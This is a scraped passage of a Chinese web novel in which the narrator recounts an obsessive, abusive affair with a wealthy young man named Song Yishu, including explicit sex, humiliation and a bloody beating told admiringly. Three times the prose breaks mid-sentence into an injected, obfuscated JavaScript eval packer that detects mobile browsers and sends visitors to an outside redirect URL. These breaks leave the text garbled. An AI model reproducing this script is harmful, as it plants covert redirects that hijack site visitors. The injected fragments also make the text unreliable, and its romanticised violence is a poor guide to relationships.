我闻到他身上的香气,呼吸不由得紧张的起来,那稚嫩美好的笑容衬得宋逸舒俊美脸庞愈发柔和,我支支吾吾地回答:“没有。” 宋逸舒朝我挪了挪,把手搭在我肩上,气若幽兰:“那我教你好不好?” 当宋逸舒唇瓣碰到我嘴唇的那一刻,我浑身都僵硬了,这么柔软、温柔的美好触感是宋逸舒带给我的,令我陶醉。我不敢妄动,生怕一个不小心就戳破了这跟梦一样的镜花水月。 还是宋逸舒主动,把舌头探进我的齿关,引导我用手搂住他的腰。 我被宋逸舒勾着,慢慢学会了亲嘴,我那时脑子都混乱的,当我回神的时候,宋逸舒已经衣衫不整的躺在我怀里了。 他抹了把唇,笑容很是纯真:“现在,你也是畜|生了。” 我怔住,他推开我,笑闹着离开。 从那天后,我总是被宋逸舒无意的吸引,然后跟他在学校各个地方亲嘴。 渐渐的我熟练起来,知道如何换气、搂腰,宋逸舒好像很喜欢和我在一起,以至于他那个初恋都有点生气。 他们开始吵架,吵架的时候,我站在宋逸舒身边,做他的保镖。 也是那个时候我知道,宋逸舒在我房间看的那部片子,其实是他发给顾天良的。 圣诞节那天,学校还在上课,上完晚自习已经很晚了,我跟宋逸舒出了教学楼。 忽然宋逸舒停下来,转身问我:“我们去三教学楼。” 我说:“今天圣诞节,不能亲嘴。会被教导主任发现的。” 宋逸舒瞪了我一眼,说:“他们都说在三教学楼后的梅树下接吻会永远在一起,你不想跟我永远在一起吗?” 我低着头问:“那顾天良呢?他是我们之间的小三?” “你管他做什么?走!” 宋逸舒拉着我去了三教学楼,那个梅花树下,我望着他俏丽精致的容颜,深情地吻了下去,心里生出想跟他永远在一起的愿望。 但来自教导主任的光和声音打破了我的愿望。 我们被发现了。 漂亮的宋逸舒被一眼认出,教导主任没让我们回家,而是打电话叫了父母来。 我爸那天晚上喝多了酒没接电话,我妈身体不好早早睡了,所以我们两个人只有宋逸舒的父母姐姐来了。 宋飞鸿和宋父宋母来了后,先让司机送宋逸舒回家,而后宋飞鸿冲上来给了我一耳光,我被她一巴掌扇倒在地。 宋母也冲上来给了我一耳光,揪住我的衣领厉声质问我,为什么要带坏她的儿子。 我脸火辣辣的疼,半天说不出话,办公室里没开空调,冷得我浑身发抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271566|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋母在办公室里哭得声嘶力竭,宋飞鸿更是把我视作荼毒她弟弟的恶魔,宋父铁青着脸要求校方给他一个交代。 最终,校方因我违反校规,给予我开除处理。 我的人生在一个晚上,从天堂跌倒了谷底。 凌晨时分,寒风呼啸,我迈着沉重步子走出了学校大门,忽然宋父喊住了我,我回头,迎接我的是他凌厉的一拳。 我一瞬间感觉血腥味涌上喉头,脸被巨石碾过一样,趴在地上半天起不来。 宋父踹了我一脚,厉声道:“不许再接近我儿子!否则我不会放过你!” 宋家人开着车消失在凌晨的街道里,我抱着书包蜷缩在地上,失声大哭。 等我走了两个多小时回到那个潮湿阴暗的家,发现我那酗酒爱赌的爸刚刚没接电话的原因是因为他喝酒喝多了,起来上厕所,一个没站稳,后脑磕在水龙头上,已经去世了。 我妈躺在床上睡着。 我给了自己两巴掌,抹去眼泪给我亲戚打电话说我爸死了。 我爸死了,我当时翻遍家里只找到了五千多块钱,跟亲戚朋友借了钱才给他办了场简单丧事。 我爸走后,我妈问我为什么不去学校读书,我还没想好答案,我妈病情就又恶化了。她是因为脑梗瘫痪的,知道我爸走后,一时伤心病情恶化,神志不清,吃饭要人喂,严重的时候连我都不认识。 我卖了房子,到处借钱给她治病。 可我的亲戚早些年被我那爱赌的爸借遍了,我爸去世又被借了一笔,哪里肯再借。 我记得那些亲戚住什么地方,每天走路去他们家,求他们借我点钱。有时候会借到钱,有时候会被踹上两脚,问我什么时候还上一笔。 最好的时候,是在一个麻将馆,那个亲戚有点混,让我跪地上朝他磕三个响头,就借我六千,我二话不说照做了,他从包里掏出一沓钱砸在我脸上让我滚。 最后是宋父出手,借给了我一笔钱,并要求不管宋逸舒说什么,我都不可以答应他,也不可以靠近他。 为了我妈的命,我答应了。同时欠下宋父一大笔钱。 大年三十晚上我在监护室陪我妈吃完一顿简单的餐后,离开准备去饭馆洗盘子。 年三十饭馆里洗盘子很赚钱的,当我走出医院的那一刻,我接到了宋逸舒的电话, 那是圣诞节以后,我们第一次联系。 他说:“我要出国了。” 我呼吸一紧,捂着嘴巴说:“恭喜……在那边好好学习。” 宋逸舒在电话里沉默了很久,小声地问我:“你为什么不联系我?我爸说你被开除了,我才拿到手机。” 那他这段时间应该过的很不开心吧? 我望着漆黑的夜空,眼泪一直流:“我这几天忙,没时间。” 宋逸舒说:“你来照顾我,我给你开工资。” 我捏紧手机,回想这一个多月来自己的变化,狠下心说:“对不起,小舒。我……” 我的话没有说完,宋逸舒就挂了电话。 最累的时候,我一天打好几份工,什么脏活累活都做过,不仅要还宋父的钱还要给我妈的治疗费、护工费、营养费,当时唯一可以在深夜蔚籍我的,只有记忆里宋逸舒的模样。 再遇到宋逸舒是两年后,我酒吧里做服务生,他跟顾天良分手来这里买醉。 他没有认出我,但我第一眼认出了他,他比以前更加俊美,黑发贴着脸颊,勾勒出一张秀丽的面孔,他喝多了酒,眉宇间添了不少愁态。 我给他送酒时,他看了我一眼没有说话。 他后面经常来,我知道他认出我了,他出了一趟国,脾气愈发任性,知道我缺钱,让我趴在地上学狗叫,叫的他高兴了就给我五千块。 我在他和他一众朋友面前,照做了,只要他高兴,我什么都愿意。 他偶尔会来逗我玩,让我打自己巴掌、学狗叫,偶尔会跟他的新男朋友来喝酒。 就在这时候,我妈去世了。 我一连小半月天没有去酒吧,重新上岗的那天,宋逸舒问我是不是很缺钱。 我还欠亲戚和宋父的钱,肯定很缺。 他居高临下,宛如神明,说:“做我的陪读吧,一个月四千。” 我答应了。 自此,我开始了作为一个助理陪在他身边的日日夜夜。 我地位、感情、学历、家庭条件都与宋逸舒乃至他交往过的所有前任差很大一截,我不配回答宋逸舒这个情感上的问题,他明显不高兴,又打发我出门买东西,等我回来的时候,发现他跟那个老板已经离开九寨沟了。 黄昏日暮里,我站在空荡荡的房间里,觉得眼眶很酸,相处的越久我就知道,宋逸舒他一边爱我一边玩弄我。 而这份玩弄里面有几分爱,我不知道,我只知道他经常这样把我扔在一个地方。 车被他们开走了,我打车去高铁站回了蓉城,回蓉城第二天我发现他们还没回来,宋逸舒不接我电话不回消息,我担心他有什么事,于是跟宋母打电话。 宋母马上给宋逸舒打电话,半小时后,她语气很平静地说:“小舒跟那个男的去川西旅游了,你先回来吧。” 我那一瞬心仿佛被一双手死死攥进,勒得我喘不过来气。 7. 第 7 章 回到海城后,我有十多天都没有见到宋逸舒,给他打电话,他也只是很敷衍地说他很忙。 过了几天,我在他朋友圈看到了他和那个老板的合照。 背景是一望无际的辽阔草原,宋逸舒穿着一身淡米色休闲衣服,笑盈盈地挽着那个老板手臂。 要是不了解宋逸舒的话,定觉得他一定爱极了这个男人。 宋家父母也是这样想,老两口看到这张照片就去问宋逸舒,是不是找到真爱了,宋逸舒显然不想一锤子钉死他的风流人生,拒绝任何形式的采访。 于是宋母来问我。 办公室里,宋母放下茶,说:“小舒是不是收心了?” 我也不太确定,因为宋逸舒从没有在朋友圈公开过任何前任,包括他那个初恋。 “可能吧,小舒从没有在朋友圈公开过任何人,”我说,“或许这个周博是他的真爱。” 宋母脸上挂着释然的微笑:“能安安稳稳谈一段感情就好,这个周博我派人了解过,人还不错,家里是开酒店的。你看着点小舒,让他收收性子,别在外面乱来。” 我没有告诉宋母,我已经许久没有跟宋逸舒联系了,但他们总在认知里觉得宋逸舒很看重我。 宋逸舒跟周博的恋爱谈的很甜蜜,他在公司上班时,周博会送他自己做的饭来,他好像不知道我和宋逸舒的关系,还问我要不要一起吃点。 我微笑着拒绝了,并给了他一份宋逸舒的口味喜恶ppt。 我不得不承认,这个周博虽然是撬墙角搭上了宋逸舒,但他对宋逸舒真的很好,宋逸舒很表现得爱他。 两人的恋爱从夏天谈到了七夕后。 七夕那天,周博包了上百架无人机在外滩给宋逸舒表白,宋逸舒感动的眼圈泛红,垫着脚跟周博接吻。 我站在不远处看两人在浩瀚星河下接吻,感觉今天的风呼进肺里十分痛苦。 两周后,我加班回到家,看到宋逸舒的红底皮鞋歪七歪八地堆在门口,知道他又来到了我的身边。 我深吸一口气,压住兴奋的心,整理好衣服,对着镜子抓了两把头发,打开次卧的门。 “晚饭吃了吗?”我看床上的被子鼓起一团小小的包,“我昨天买的排骨还有,给你做糖醋排骨好吗?” 那团鼓包半天没动,我打开灯坐到床边,轻声道:“怎么了?” 宋逸舒掀开被子,神情平淡地看着我。 我注意到他细白的脖颈上有圈红红的指痕,沉声道:“周博敢打你?” 宋逸舒无所谓地看了我一眼,我气得不行,想看他身上还有没有什么伤,不料他极力反抗,最后一把抱住我的腰,靠在我肩头,轻轻地说:“我没事。” 他越是这样说,我越是心疼,按住他的手,想看看他身上有没有其它的伤。他极力的挣扎,最后反感得不行,用尽全部力气给了我一个耳光。 我被他打耳光不是一次两次,这次算轻的,我头都没偏,只是定定地看着他。 宋逸舒抚摸着我的脸,眼里流露出少有的温柔,他抱住我的腰,耳朵贴在我心口,声音软绵绵的:“我饿了。” 我又气又心疼,抱住他单薄的背脊,开口时发现嗓子都哑了不少:“我给你做糖醋排骨,还想吃什么?” 宋逸舒抱紧了我,摇摇头道:“你不要走,我让保姆来做。” 那一刻,他过往对我做的所有任性事,都能因为他让我不要走这句话而一笔勾销。 保姆到我家做完饭离开,我把宋逸舒抱到客厅吃饭。 吃饭时,我剥虾剔鱼刺,看宋逸舒吃的欢,于是问他到底怎么回事。 宋逸舒戳着碗里的米饭,冷冷地说他跟周博吵架了。 我问:“吵什么?” 他不太情愿地回答:“说我要求多,脾气不好。” 我怒道:“他胡说八道!” 宋逸舒看着我笑,说:“我脾气很好吗?” 我把虾喂到他嘴边,艰难道:“很好,就是爱出轨。” 宋逸舒吃吃地笑起来。 他跟我说,周博总是觉得他在外面还有别的男人,一旦他的手机响消息。周博就认为是有人约他出去。 两人吵了起来,宋逸舒觉得自己是爱玩刺激,但不至于一口气玩那么多,周博不信,吵着吵着两人草到了床上。 周博床上有点脏,弄得宋逸舒受不了,把他打了一顿。 我嘴角抽搐,这种小三上位的男人还挺喜欢幻想的,不过他的幻想放在宋逸舒身上只是时间问题。 “那你有没有勾搭别的男人?” 宋逸舒瞪大了眼睛,举起手指,无辜道:“天大的冤枉,我已经从良了。我唯一一个养在外面的小三就是你了。” 我:“……” 宋逸舒笑得温柔,撑着下颌看我说:“我最爱你了。” 我沉默须臾,说:“可我不是你男朋友。” 因为从昨晚到现在宋逸舒没有说要跟周博分手。 宋逸舒坐到我怀里,慢条斯理地跟我解释:“男朋友这种只占名义经常换的东西,你也要争,你只要知道我最爱你就行了。你看这么多年,我换那么多男朋友,唯独你一直跟着我。” 我苦笑了下,把剥好的虾喂给他。 是的,在他恋爱时,我是他助理和情感垃圾桶,不恋爱时,我是他的备用按|摩|棒。 吃完饭,宋逸舒进次卧睡觉,房门没有关,我知道他心情不好,洗完澡后翻出一盒全新的套进了次卧。 翌日周末,我抱着宋逸舒难得睡到中午起来,他身上原属于周博的气息已经被我完全覆盖,幸好周博除了掐宋逸舒,没有在他身上留下其它伤疤,否则我提刀都要弄死他。 午饭是我和宋逸舒去超市买的菜,我们像正常的情侣一样逛超市、做饭。 做饭时宋逸舒抱着我腰晃来晃去的,还会趁我不注意偷吃,我要是发现了,他就眨着他那双漂亮美丽的大眼睛说:“饿了嘛。” 我温柔地掐了掐他脸颊,盛出碗鸭汤,说:“马上就好,你先出去,炒菜油烟大。” 宋逸舒笑盈盈地端着汤出去。 做蛋黄鸡翅时,我听到房门被敲响,调小火后去开门,发现门口是周博。 他伤势比宋逸舒严重很多,脸颊肿着,一只眼睛淤青发黑还肿得老高,嘴角贴着纱布,额头破了皮,右手缠了纱布吊在脖颈下。 我淡淡地看了他一眼,周博一副礼貌甚至于有点低声下气地亮了亮手里的名贵葡萄酒,说:“我来找小舒。” 我扭头问躺在沙发上看电视的宋逸舒:“周博来了。” 宋逸舒道:“让他进来吧。” 果然,是宋逸舒让他来的。我这套房子除了宋逸舒主动告知不会有人上门。 周博进门后,我去厨房做饭,把抽油烟机关小后,我听到周博诚恳、认真的跟宋逸舒道歉。 宋逸舒则语气平淡地问他以后会不会听他的话。 我翻着锅里的菜,庆幸我刚刚把次卧床单换了,要是被周博发现我昨晚跟宋逸舒睡了,还睡了不止一次,他一定会把我从楼上推下去。 宋逸舒和周博和好了,我不明白,为什么两人都互殴了,宋逸舒还能忍受这个周博。 我刚把菜端上桌,在蓉城签的那个项目就来了电话,宋逸舒不想接,只让我处理,我让他和周博先吃,自己回房间处理工作。 等我接完电话出来,宋逸舒和周博已经走了。 手机叮咚来了宋逸舒的条消息。 【我们先走了,你做的饭真好吃。下次你教教周博,他总学不会你的手艺。】 我坐在餐桌边,看着这一桌我给宋逸舒做的饭菜成了他和周博约会的背景板,痛苦地捂住脸。 周博仿佛是宋逸舒身边的一个例外,他居然在宋逸舒身边待了超过两个月。 他加了我的微信,友好表明来意后,开始打听宋逸舒的喜好、前任、初恋还有他在国外那些风流事迹。 我避重就轻地说了几个,他听完后很有礼貌的回复:【小舒说你跟他是十来年的好朋友,是个很好的人,以后他有什么私事都跟我说。毕竟,助理只用负责工作。】 他把助理两个字咬的很重,仿佛在点醒我和宋逸舒之间的差距。 在他眼里我配不上宋逸舒。 我感觉有点可笑,我和宋逸舒认识十多年,像他这样的男人,不知见过有多少个。每一个都想坐稳正室宝座,但到最后都会被宋逸舒无情的一脚踹开。 宋逸舒曾经的初恋做得比他还要好,都被甩了,何况他一个撬乔哲年墙角上位的。 不过周博真是把宋逸舒当祖宗供,我好几次看到宋逸舒扇他耳光、让他跪在地上用脚踹,我看得触目心惊,心想就那么一次打架,就把周博某种属性打出来了吗? 我决定回家再把心理学书看起来,不能在让宋逸舒打人了。 宋逸舒打人这个毛病不知道是从什么时候开始的,读初中的时候,他没怎么打过我。 但他经常打他初恋,就是那个叫顾天良的男人。 他跟宋逸舒一起出国留学,两人念一所高中,可谓是青梅竹马。 顾天良很服从宋逸舒,什么事都依着他,这也惯得宋逸舒脾气越来越任性,他想要顾天良听他的话,天天陪着他,这让顾天良无法在学业和爱情中抽身。 两人经常吵架,在我刚做陪读那年,宋逸舒还和顾天良交往着,宋逸舒常因为顾天良不秒回消息,不接电话而生气。 顾天良没有办法,几乎推了所有社交,全心全意陪宋逸舒。 但最后两人还是分开了,宋逸舒提的分手,他觉得顾天良不爱他、不听他话,我觉得主要原因之一是当时的宋逸舒跟排球队队长好上了。 可宋逸舒对周博又非常特别,特别的我感觉宋逸舒会在他身上学到什么叫爱情。 不仅我这样认为,宋家父母也这样觉得,他们感恩神明、感恩周博让宋逸舒学会爱、也感恩宋逸舒不会再出轨的时候,宋逸舒在中秋后的一个晚上打开了我家门。 我当时才洗完澡,穿着睡衣出来的时候,瞧见了在客厅看电视的宋逸舒。 “晚上好,”他笑得单纯又率真,“想我没有?” “想了,”我见他身上没有伤,放心了些,说:“又跟周博吵架了?” 宋逸舒靠在沙发上,长长的舒了口气:“想做|爱。” 我嘴角抽搐,温馨提示:“你这是出轨。” 宋逸舒笑着看向我:“怎么会,我打算跟他分手了。” 我疑惑之下又有惊喜:“什么原因?” 他怔怔地望着天花板,没有回答,只是把衬衣扣子一颗一颗解了,然后把头发挽起来,平静地说:“做不做?不做我去找别人。” 我果断道:“做。” 宋逸舒说他刚从周博床上下来,还没洗澡,心情不好想我了。 我走上前,温柔地抱住他,我知道他是爱我的。人会在无助、孤独的时候想起自己最爱的那个人。 这是心理学书上说的。 我吻住他唇,一把将他抱在怀里,让他双腿夹住我腰身,边热吻边往浴室走。 等我做完他前面的活,浴缸已经放好了热水,宋逸舒两股战战地靠在我怀里,脸颊绯红,因为濒临窒息,嘴唇微微张着。 我抱着他坐进浴缸,瞧着他身上深浅不一的吻痕,纤细腰间还有掐痕,一边吻他的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271567|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊一边问:“你是不是又在外面乱搞了?” “就两次,他非要小题大做。”宋逸舒紧紧抱着我,湿润的眉宇间满是风情,几绺发丝在水面漂浮。 “他不爱你。”我总结道,“他爱你的话,会当做看不见。” “你爱我是吗?”他温柔地看着我。 “是。”我肯定地回答。 “哎……”他似是为难地叹了口气,温热手指摩挲着我的耳朵,发出沙沙声,“好巧,我也爱你呢。” 我欣喜若狂地捧起他精致秀丽脸颊,凑过去,慢慢亲吻他的眼睛、睫毛还有泛红的眼尾。 我像一个变态,生出了想把他永远圈在我怀里,再也不让别人碰的想法。 他仰起细白脖颈,轻轻地笑起来,我痴迷地吻着他脖颈,感觉紧贴着他胸膛的身体因笑声而震动着,就像我等待多年的心在这一刻获得了某种肯定的答案。 他揪住我的头发,睥睨着眼看我,眼里满是柔情,但说出来的话是那么刺耳: “好可惜,你配不上我。当年你多读点书就好了。” 我那点喜悦被这话彻底击溃,仿佛自己又回到了那个凌晨的圣诞节。我心痛的无法呼吸,只能一头咬住他晕着酡红的雪腮,把他那张迷人又危险的脸掰向我,狠狠地吻了上去。 我这次没有控制好自己的力气,把他从浴缸折腾到了盥洗台再到床上。 他除了嘤嘤咛咛的哼唧就什么话也没有,只有在意乱情迷的时候,他失焦眼神倒映出我满头大汗的模样,低低地唤了声我的名字。 他很少叫我名字,多数时候都呼来喝去。 我陷入了迷茫,迷茫他到底是爱我还是讨厌我。 第二天我抱着宋逸舒睡得正香,听到电话响起的声音。 我松开搂在他腰间的手臂,摸来电话一看是宋母。 “小舒,你在哪儿?” 我把手机贴在宋逸舒耳边,手掌摩挲着他胸口让他舒缓一点地醒来。 宋逸舒迷迷糊糊地醒了,慵懒道:“妈,我在……”他回头看了眼我,拿走电话,懒散地趴在床上说:“在酒店。” 宋母有点生气:“又出去鬼混了是吧?” 宋逸舒揉着眉心:“什么事?”他指了指门外,我点头下床给他倒水。 等我倒好温水进来,却看到宋逸舒一脸凝重地穿上了衬衣。 我说:“要走吗?” 宋逸舒正打着领带,但半天打不上,抓了把头发烦躁地“嗯”了声,我放下水过去给他打上,然后拿起梳子给他梳头发。 我说:“吃点东西再走吧。” 宋逸舒玩着手机,烦道:“不吃了,你自己吃吧。” 乌黑柔顺的秀发梳好后在正午金阳下泛着光泽,他转身攀着我肩膀,垫脚在我脸颊亲了口,忽然笑着说:“你真好,你可要爱我一辈子。” 他笑得纯真又温和,让我恍惚得觉得自己跟他陷入了热恋。 我抱住他,低头吻了吻他的眉心,说:“会的。” 宋逸舒离开了我家,接下来好几天我都没有在公司看到他,只是听小曾说他好像在医院看病人。至于为什么,我一点都不知道。 直到我有天收到了他的微信。 【你在哪儿?】 【在公司。】 【我杀了周博,你来我天华水湾的房子给他收尸。】 我心里一咯噔,开车去他家时一直在思考,我替他顶罪要判多少年,还是报警自首说是我嫉妒周博抢走宋逸舒所以才杀了他。 我在这儿火烧眉毛,宋逸舒还在微信里开玩笑:【我们干脆把他埋了,亡命天涯去。当一对苦命鸳鸯。】 我彻底被宋逸舒惹火了,怒着发去语音【“你别闹了,你这公主命能过吃苦的日子吗?】 过了好一会儿,他问我:【你跟我上床爽吗?】 我对这话是丈二和尚摸不着头脑,但还是诚实回道:【爽。】 可等我到了案发现场才发现,周博还好端端的活着,只是脸上破了点皮,嘴巴也留着血。 他看到我没有什么表情,只是冷冷地打量我。 我扫了圈家中陈设,沙发凌乱,地毯上有件宋逸舒的衬衣,没有宋逸舒的影子,心里一咯噔,礼貌道:“有份文件需要宋总过目,他人呢?” 周博起身,双手插兜地看着我,声音极为沙哑:“什么文件?” 我问:“宋总呢?” 周博道:“在书房。” 宋逸舒这套房子我来过不少次,慢慢走向书房。 明明是秋日午后,可这座房子陷入了一种诡异的寂静,书房离主卧不远,我确认周博没有跟上来,快步跑向主卧。主卧的门没有锁,我轻而易举就打开了。 门被打开时,一股黏腻的欢|爱气息扑面而来,而最醒目的是被手铐铐在床上的宋逸舒。 宋逸舒嘴巴被情趣球塞着,被子盖在他布满了鲜红吻痕的颈间,露出一张绯红、秀丽的脸庞,发丝乱七八糟地贴在他脸颊边,长长睫毛上挂着晶莹的泪珠,有种瑰丽破碎的美,不用想我都知道刚刚发生了什么。 他看向我的眼神,是那样愤然、羞愤。 纵然我收拾过宋逸舒那样多的床上情景,这种还是第一次遇见,他整个人像一只精致而颓然的朱雀,被锁在了床榻间。 我看宋逸舒眼睛忽然瞪大,扭头对上双眼发红的周博。 对视的这一刻,我知道,宋逸舒跟我发的消息是他干的,他知道了我跟宋逸舒的关系。 “你跟我老婆上床爽吗?” 我依旧诚实:“爽啊,你跟他玩的都是我剩下的。” 周博倏的笑起来,他挥起一把闪着寒光的菜刀朝我劈来。 8. 第 8 章 菜刀落下来的时候划伤了我的手臂,我忍着痛,凭借早年在工地摸爬滚打出的力气一脚把周博踹出好几米远。 我感受到温热的血浸透了衣服,但我没有时间理会,跑到床边,解下宋逸舒嘴里的球。 宋逸舒愤怒骂道:“我要杀了这个狗东西!他居然敢伤你。” 我有点欣慰他关心我,在床头柜上找到钥匙,急忙给宋逸舒解开手铐。 周博大吼着捡起菜刀爬起来,我把宋逸舒往安全地方一护,抄起一瓶酒上前跟他打起来。 周博力气比我大,又拿着菜刀,就算我踢飞他的菜刀,酒瓶砸在他头上也无济于事,他一脚把我踹倒在地,揪着我头发大力地往墙上撞。 我被撞得眼前发黑,脑子嗡嗡作响,我能感受到后脑有温热的液体在缓缓流淌,就在我以为我要跟我爸一样,死于后脑勺时。 是穿好衬衣的宋逸舒挥起一根高尔夫球杆,潇洒利落的把周博打到在地。 周博喘着大气痛苦倒地,鲜血从他脑后流出。 白衬衫胡乱套在宋逸舒挺拔清朗的身上,袖口挽到臂间,露出流畅漂亮的手臂线条,乌黑长发贴着莹润的因愤怒绷起的细白脖颈上,他漂亮的五官罕见流露出厌恶,穿着拖鞋的脚仿佛有千斤重,踩在周博脸上时,他大气都不敢喘也不敢挣扎。 宋逸舒睥睨着眼撩了把额发,露出看死狗般的轻蔑眼神,他把沾了血的高尔夫球杆,往周博脸上拍,淡淡道: “明天你卡里有五十万进账,我会给你请海城最好的律师。记住,我不会和解。” 周博用尽全力抓住宋逸舒的衬衫衣摆,神情呲目欲裂却又十分痛苦地,像一条垂死挣扎的狗:“是你要跟我分手,我才这样的,小舒……求求你。不要这样对我,不要抛弃我,我以后什么都听你的,求求你……” 宋逸舒挥起高尔夫球杆,旖丽面容露出残忍的笑:“晚了,你说接受我出轨,我才原谅你的,前几天还敢自残骗我,你以为你是个什么东西。” 高尔夫球杆闷砸在肉|体上的声音醒目又结实,宋逸舒优雅挥杆时,收进西裤的窄瘦腰线随他动作微微晃动,若是忽略他脚边挨打的周博,会让人以为他云淡风轻的模样是在打高尔夫。 可球杆每一次落下都能飞起血珠,那些血珠溅在他素□□致的脸颊上,宛如上好的玉石被突然溅来的殷红鸽子血晕染,靡艳又疯狂。 他整个人就像堕了魔的谪仙,从一尘不染到满脸鲜血不过几瞬。 宋逸舒已经好几年没有生过这么大的气了,上一次这么生气还是他在国外,看出交往的是一对双胞胎华裔,心里来了趣,三人不清不楚的鬼混了段时间。 最后宋逸舒玩腻了兄弟俩,想把他们一脚踹了,不料那个弟弟手里有十来个三人在床上做的视频。他们哀求宋逸舒不要分手,如果真要抛弃他们,他们就把视频打码后发到学校论坛去。 宋逸舒假意答应不分,把两人叫到酒店,抡起一个棒球棍进了房间。我等在门口,听到门里面传出的撕心裂肺声,不禁为宋逸舒担心。 他有没有其它视频在别人手里? 一个小时后,宋逸舒满身是血的出来,温柔地对我笑:“他们真可怜,为了跟我在一起,连同胞兄弟都下的去死手。” 我微微一笑,擦去他脸上血迹,带着他离开酒店。 后来听说那对双胞胎兄弟一个瘸了,一个卧床三个多月,兄弟俩最后还反目成仇,连带着家里生意都受到波及。 眼看周博已经奄奄一息,但他还是抓着宋逸舒的衣摆哀求,仿佛这样就能证明他对宋逸舒独一无二的爱。 可已经气上头的宋逸舒对他只有厌恶,见他准备打断周博的手,我急忙爬起来,上前抓住他球杆,说:“你再打他就残废了。” 宋逸舒一双美目微微泛着红,怒道:“老子有的是钱赔,这狗东西敢打你,废就废。” 我心里一暖,可眼前阵阵发晕,嘴里在不停冒血沫,我死没什么要紧的,但周博家里也是有点名望的,要是出了事,宋逸舒一定会有点牵连,于是说:“小舒,这事交给你爸妈处理。” 这句话提醒了宋逸舒,他又往周博身上砸了下,丢下球杆,跟宋父打电话说把周博打了后,开车带我去医院。 我皮糙肉厚,伤势不怎么严重,反倒是宋逸舒被铐了几个小时,手腕磨红了点皮,亏得周博有点良心,给手铐垫了层绒布,否则宋逸舒手腕定要破皮。 医生在我头上缠纱布时,做完全身检查的宋逸舒进来,径直坐在我旁边,翘着二郎腿玩手机。 他身上的血已经洗干净了,外表依旧那样优雅迷人,给我包扎伤口的是个年轻男医生,戴了副眼镜,斯文儒雅。 宋逸舒看了他几眼,问:“医生,我朋友这伤有没有后遗症?” 医生推了推眼镜,温和地说:“没有。回家后不要碰水,多休息,三天后来换个药就好。” 宋逸舒撑着下颌,笑起来时一双色泽偏棕的琉璃眸子露着柔软的柔光,他用纯真、无辜又带点求知的眼神看向医生:“真的吗?” 他扫了眼医生的名字,说:“夏医生,你说我有没有内伤啊?”他把裤腿捞起来,露出莹白如玉的小腿,很是苦恼地说:“你看,我膝盖这里青了点,是走路不小心撞的。” 我顶着一头纱布坐在旁边,嘴角微微抽搐,那青色的块块不是他跪在我家浴缸里,被我后入时磨的吗? 当时我给他上了药,他还打了我几巴掌呢,怎么现在变成外伤了 他肤肉本就白,骨节圆润,在医院的护眼暖光下透着温润的粉色,这样一对比,那点青色都要褪了。 夏医生本想去吃饭的,但宋逸舒那双盈盈如水波的眼眸和大白腿让他挪不动步子,于是把我交给进来的护士,跟宋逸舒交流起病情来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271568|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不怪夏医生丢下我,实在是宋逸舒外表太具有欺骗性,谁看出这样一个无辜、清纯的病人,是不久前挥着高尔夫球杆想把前任打死的富二代。 宋逸舒脸部轮廓柔和,面容秀丽,眼睛如水般柔情蜜意,以致这样俗套的搭讪方式落在没有恋爱过的夏医生眼里,只是真情实意的询问。 我被护士包扎好伤口,慢慢观察夏医生,确认他是不是像周博那样的恶徒。 夏医生没什么病人,跟宋逸舒多聊了两句,宋逸舒侃侃而谈,优雅矜持,看得夏医生脸都不少。 我无语的坐在一边,头被包得像萝卜,像一个无能的丈夫等妻子跟别人勾搭完再理我的窝囊样。 好在宋逸舒有点良心,听到夏医生要请他吃饭,看了一眼处在无语中的我,微笑着拒绝,不过两人还是加了联系方式。 坐进车里,宋逸舒心情很好的样子,甚至哼起了歌。 我说:“你又要恋爱了是吗?” 宋逸舒惊讶地看着我:“瞎说什么,我还没有打算跟他发展到那个地步。” 我:“……” 只是现在而已,过不了几天,这个夏医生一定会爬上宋逸舒的床。 车窗外闪过一幕幕黄昏下的城市,我想为什么这个世界上有那么多人,有那么多比我优秀、比我学历高的人都爱宋逸舒呢? 小张走后,来了个乔哲年,乔哲年离开,又出现周博,周博被打的半死,夏医生又从一个缝里挤出来。 “你在想什么?”宋逸舒看我一直望着窗外,问道。 “在想,你什么时候会收心结婚。” “唔……我也不知道,说不定这个夏医生就是我的命中注定,”宋逸舒笑道,“我得找一个爱我、听我话的人,走进婚姻殿堂。” 后脑传来阵阵隐痛,我深吸一口气说:“还得包容你在外面乱搞是吗?” 宋逸舒笑着看了我一眼,答案不言而喻。 我说:“小舒,这就是你跟周博复合的原因?” 下一次他会不会因为别的男人做到这些条件,跟他们复合呢? 正巧是红灯,宋逸舒踩下刹车,趴在方向盘上哈哈大笑,笑得眼尾都冒泪花了,才说:“其中一个罢了,还有一个是……” 他戏谑地看向我,我不明所以。 他说:“他大啊,跟他做很舒服。” 我:“…………” 果然有瘾! 